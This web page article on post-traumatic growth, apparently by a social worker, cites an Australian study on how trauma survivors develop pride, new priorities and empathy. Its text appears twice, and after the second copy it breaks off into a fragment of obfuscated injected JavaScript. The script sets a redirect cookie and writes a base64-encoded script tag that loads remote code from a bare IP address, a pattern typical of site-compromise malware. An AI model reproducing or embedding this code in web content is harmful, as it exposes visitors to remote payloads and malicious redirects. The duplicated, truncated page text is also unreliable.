Post Traumatic Growth

“Post Traumatic Growth”Can there be growth after a trauma? Although it may sound paradoxical to look for positive changes after a trauma, it is a key part of successful recovery. There is even a relatively new field of study called “Post Traumatic Growth” that aims to learn about how people grow after a trauma. An Australian study found, for example, that trauma survivors can experience growth in one of four major areas: personal strength, reinvention of self, focusing on life’s positives and compassion (Shakespeare-Finch, J., Copping A., 2006, pp 362-364). Michael Etts, LMSW, NBCCHHow that growth happens. Trauma is a testing ground. Those who make it through have demonstrated a capacity, will and determination that are an earned source of pride. Survivors can take personal pride in that fact and even become a symbol of courage and determination to others. In addition to a well deserved sense of pride, trauma survivors will often re-appraise their lives. While ordinary experience leads us to believe that ‘there will always be tomorrow’ to make that change, for trauma survivors, the preciousness of time comes into focus. Changes that have been put off, such as a career change or living a healthier life style, may now be prioritized and accomplished. Arguments and disagreements that were once irresistible may now seem unimportant. A greater sense of perspective about what is important and what is not, is reinforced. To quote one survivor “I didn’t come this far to argue over who’s gonna wash up tonight” (Shakespeare- Finch, J., Copping A., 2006, p. 365). Perhaps the greatest instance of personal growth is the creation or growth of a felt sense of empathy. Suffering through a trauma is an education that can never be found in a book or curriculum. Empathy is largely an intellectual experience for someone who has not known significant suffering.
“Post Traumatic Growth”
Can there be growth after a trauma? Although it may sound paradoxical to look for positive changes after a trauma, it is a key part of successful recovery. There is even a relatively new field of study called “Post Traumatic Growth” that aims to learn about how people grow after a trauma. An Australian study found, for example, that trauma survivors can experience growth in one of four major areas: personal strength, reinvention of self, focusing on life’s positives and compassion (Shakespeare-Finch, J., Copping A., 2006, pp 362-364). Michael Etts, LMSW, NBCCH
How that growth happens. Trauma is a testing ground. Those who make it through have demonstrated a capacity, will and determination that are an earned source of pride. Survivors can take personal pride in that fact and even become a symbol of courage and determination to others. In addition to a well deserved sense of pride, trauma survivors will often re-appraise their lives. While ordinary experience leads us to believe that ‘there will always be tomorrow’ to make that change, for trauma survivors, the preciousness of time comes into focus. Changes that have been put off, such as a career change or living a healthier life style, may now be prioritized and accomplished. Arguments and disagreements that were once irresistible may now seem unimportant. A greater sense of perspective about what is important and what is not, is reinforced. To quote one survivor “I didn’t come this far to argue over who’s gonna wash up tonight” (Shakespeare- Finch, J., Copping A., 2006, p. 365). Perhaps the greatest instance of personal growth is the creation or growth of a felt sense of empathy. Suffering through a trauma is an education that can never be found in a book or curriculum. Empathy is largely an intellectual experience for someone who has not known significant suffering. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘